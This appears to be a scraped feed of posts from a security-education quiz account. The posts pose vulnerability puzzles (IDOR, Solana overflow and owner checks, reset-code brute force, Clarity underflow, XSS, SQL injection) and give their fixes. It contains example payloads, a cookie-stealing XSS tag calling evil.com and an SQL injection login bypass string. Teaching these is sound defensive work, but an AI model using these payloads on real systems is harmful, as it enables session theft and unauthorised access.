This Solana program lets users withdraw their balance. It transfers SOL first, then sets balance to 0 after the transfer:
pub fn withdraw(ctx: Context<Withdraw>) -> Result<()> {
let balance = ctx.accounts.user_account.balance;
invoke(&system_instruction::transfer(vault, user, balance), ...)?;
ctx.accounts.user_account.balance = 0;
Ok(())
}
Is this vulnerable to reentrancy?
#solana #security #pantsir #reentrancy
Answer: Any user, any invoice.
This is an Insecure Direct Object Reference (IDOR). The endpoint checks that the user is logged in (auth middleware), but it never checks whether invoice #1042 actually belongs to the requesting user. Any authenticated user can enumerate invoice IDs (1042, 1043, 1044...) and download other people's invoices.
IDOR is OWASP A01:2021 (Broken Access Control) and is consistently the #1 vulnerability class. It is embarrassingly common in production APIs and has led to massive data breaches. In 2019, a major US financial company exposed 885 million records through a simple IDOR in their mortgage document API.
Fix: Always verify ownership:
app.get('/api/invoices/:id', auth, async (req, res) => {
const invoice = await db.invoices.findOne({
_id: https://t.co/Xp7wTduHiO,
userId: https://t.co/zlQLMW81TO
});
if (!invoice) return res.status(404).json({ error: 'Not found' });
res.json(invoice);
});
The query now includes userId, so users can only fetch their own invoices. Use this pattern everywhere: filter by the authenticated user at the database query level, not just at the route level.
Bonus: Use UUIDs instead of sequential integer IDs to make enumeration harder (but this is defense in depth, not a fix by itself).
Answer: Overflow, tx fails.
10,000,000,000 * 50,000 * 31,536,000 = 1.5768 * 10^25
The maximum value of u64 is 1.8446 * 10^19. The intermediate multiplication overflows u64 long before the division happens. In Rust (and Solana programs compiled in release mode with overflow checks enabled via Anchor), this causes a panic and the transaction fails.
This is dangerous because it means legitimate high value stakers cannot claim rewards. Even worse, if overflow checks are disabled (some older Solana programs did this for gas savings), the value silently wraps around and produces a wildly incorrect small number. The user either gets nothing or gets robbed.
Fix: Use checked arithmetic or reorder operations to avoid large intermediates:
pub fn calculate_reward(staked: u64, rate: u64, duration: u64) -> Result<u64> {
let reward = (staked as u128)
.checked_mul(rate as u128)
.and_then(|v| v.checked_mul(duration as u128))
.and_then(|v| v.checked_div(1_000_000))
.ok_or(ErrorCode::MathOverflow)?;
u64::try_from(reward).map_err(|_| ErrorCode::MathOverflow.into())
}
Upcast to u128 for intermediate math, use checked operations, and handle the error gracefully. This pattern is standard in production Solana DeFi programs.
we’re doubling down on @pantsircc
just received a grant to push forward what we started making security a hands on skill, not theory
shipping faster is easy
shipping secure is what matters
join https://t.co/vcQYu8CTsh
thanks to @SuperteamIN & @paarugsethi for the support🫡
Answer: 10,000.
A 4 digit numeric code has exactly 10,000 possible combinations (0000 to 9999). Without rate limiting, an attacker can script all 10,000 requests in seconds. At even 100 requests per second, they crack any account in under 2 minutes.
This is not theoretical. In 2023, multiple production apps were breached through exactly this pattern. The attacker just needed the victim's email address, which is often publicly available.
Multiple fixes needed:
1. Use longer codes. A 6 digit code gives 1,000,000 combinations. Better yet, use a long random token (32+ characters) in the reset URL instead of a short code.
2. Rate limit verification attempts. Lock out after 5 failed attempts on the same email. Implement exponential backoff.
3. Expire codes quickly. A 4 digit code that expires in 5 minutes with a 3 attempt limit is much harder to brute force than one that lives for 24 hours.
4. Do not include the email in the URL. The reset token itself should be the only identifier. Including the email lets attackers target specific accounts.
5. Use account lockout notifications. Email the user when multiple failed reset attempts happen.
Your password reset flow:
1. User requests reset
2. Server generates a 4 digit code
3. Code is sent via email
4. User enters the code on /[email protected]
5. No rate limit on verification attempts
How many attempts does an attacker need to brute force the code?
Your password reset flow:
1. User requests reset
2. Server generates a 4 digit code
3. Code is sent via email
4. User enters the code on /[email protected]
5. No rate limit on verification attempts
How many attempts does an attacker need to brute force the code?
Answer: Both B and C.
Two problems here:
1. unwrap-panic vs unwrap! (or unwrap-err!): The get-balance function correctly uses unwrap! with a fallback error. But the transfer function uses unwrap-panic, which will cause a runtime abort if the sender has no entry in the balances map. This means calling transfer before having any balance entry crashes the transaction with no useful error message. Always use unwrap! or unwrap-err! with explicit error codes in public functions so callers get meaningful responses.
2. Unsigned integer underflow: Clarity uses uint (unsigned integers). If sender-bal.amount is less than amount, the subtraction (- (get amount sender-bal) amount) will cause a runtime error in Clarity (it does not silently wrap around like in Solidity). However, this is still a logic bug because the function does not check the balance before subtracting. The transaction aborts with a cryptic error instead of a clear insufficient funds response.
Always validate before mutating state, and use explicit error codes in Clarity.
In a Clarity smart contract, get-balance uses unwrap! with a fallback error. But this transfer function uses unwrap-panic:
(define-public (transfer (to principal) (amount uint))
(let ((sender-bal (unwrap-panic (map-get? balances { owner: tx-sender }))))
(map-set balances { owner: tx-sender } (- (get amount sender-bal) amount))
(ok true)))
What is the vulnerability?
a) tx-sender can be spoofed
b) unwrap-panic aborts tx
c) Subtraction underflows
d) Both B and C
#stacks #clarity #smartcontracts #web3 #security #bitcoin #pantsir
In a Clarity smart contract, get-balance uses unwrap! with a fallback error. But this transfer function uses unwrap-panic:
(define-public (transfer (to principal) (amount uint))
(let ((sender-bal (unwrap-panic (map-get? balances { owner: tx-sender }))))
(map-set balances { owner: tx-sender } (- (get amount sender-bal) amount))
(ok true)))
What is the vulnerability?
a) tx-sender can be spoofed
b) unwrap-panic aborts tx
c) Subtraction underflows
d) Both B and C
#stacks #clarity #smartcontracts #web3 #security #bitcoin #pantsir
Answer: Stored XSS (Cross Site Scripting).
The malicious comment gets saved to the database and rendered to every user who views the page. The <img> tag uses a broken src (x) which triggers the onerror handler. That handler redirects the victim's browser to an attacker controlled domain, passing their session cookie as a query parameter.
This is "stored" XSS because the payload persists in the database. Every visitor to that page gets hit, not just one person clicking a crafted link (that would be reflected XSS).
Fix: Always escape or sanitise user generated content before rendering.
In React, JSX auto escapes by default (unless you use dangerouslySetInnerHTML).
For rich text where you need some HTML, use a sanitiser library like DOMPurify:
const clean = DOMPurify.sanitize(comment.body);
This strips all dangerous tags and attributes while keeping safe formatting. Never trust raw HTML from user input.
XSS is still in the top 3 most common web vulnerabilities.
Your app displays user comments like this:
<div class="comment">{{ comment.body }}</div>
A user submits this comment:
Great post! <img src=x onerror="document.location='https: //evil.com/steal?c='+document.cookie">
What type of attack is this?
#security#pantsir#owasp
Your app displays user comments like this:
<div class="comment">{{ comment.body }}</div>
A user submits this comment:
Great post! <img src=x onerror="document.location='https: //evil.com/steal?c='+document.cookie">
What type of attack is this?
#security#pantsir#owasp
Answer: Anyone can edit any profile.
The account constraint on "profile" only checks that it is mutable (#[account(mut)]). It never verifies that the signer actually owns this profile. Any wallet can call this instruction with any profile account and overwrite the name.
This is one of the most common Solana vulnerabilities: missing owner/authority checks.
Fix: Add a has_one or constraint check:
#[derive(Accounts)]
pub struct UpdateProfile<'info> {
#[account(mut, has_one = authority)]
pub profile: Account<'info, UserProfile>,
pub authority: Signer<'info>,
}
The has_one = authority constraint tells Anchor to verify that profile.authority matches the authority account's public key. Without this, your program is essentially an open write endpoint.
This is the Solana equivalent of broken access control.
In 2022 and 2023, multiple DeFi protocols lost funds because of missing signer or owner checks in their Anchor programs.
Answer: Access to first account.
The injected input closes the string with a single quote, then adds OR '1'='1' which always evaluates to true. The double dash (--) comments out the password check entirely. So the final query becomes:
SELECT * FROM users WHERE email = '' OR '1'='1' -- AND password = ''
This returns ALL users. Most apps then log you in as the first result, typically the admin account.
Fix: Never concatenate user input into SQL. Use parameterized queries or prepared statements.
1. In Node.js with pg:
db.query('SELECT * FROM users WHERE email = $1 AND password = $2', [email, pass])
2. In Python with psycopg2:
cursor.execute('SELECT * FROM users WHERE email = %s AND password = %s', (email, password))
This is SQL Injection and remains one of the most exploited vulnerability classes in production.
Your login form runs this query:
SELECT * FROM users WHERE email = '$input' AND password = '$pass'
What happens if someone types this as their email?
' OR '1'='1' --
#sql#security
if you have never looked at your own code through an attacker's eyes, you should probably start a free lab,
takes 10 min:
https://t.co/n5X9djBz7R
#security#coding
Join the @pantsircc community to discuss each challenge, share your reasoning, and see the detailed solutions before anyone else.
Let's see who spots the bug first.
https://t.co/1q5SuJpj46
Starting a 30 Day Security Challenge on @pantsircc
Daily vuln scenarios + polls. You vote. Next day we drop the fix.
SQL injection. Solana reentrancy. OWASP Top 10. Real code, real bugs.
Day 1 👇
#security#solana#owasp#cleancode
Your login form runs this query:
SELECT * FROM users WHERE email = '$input' AND password = '$pass'
What happens if someone types this as their email?
' OR '1'='1' --
#sql#security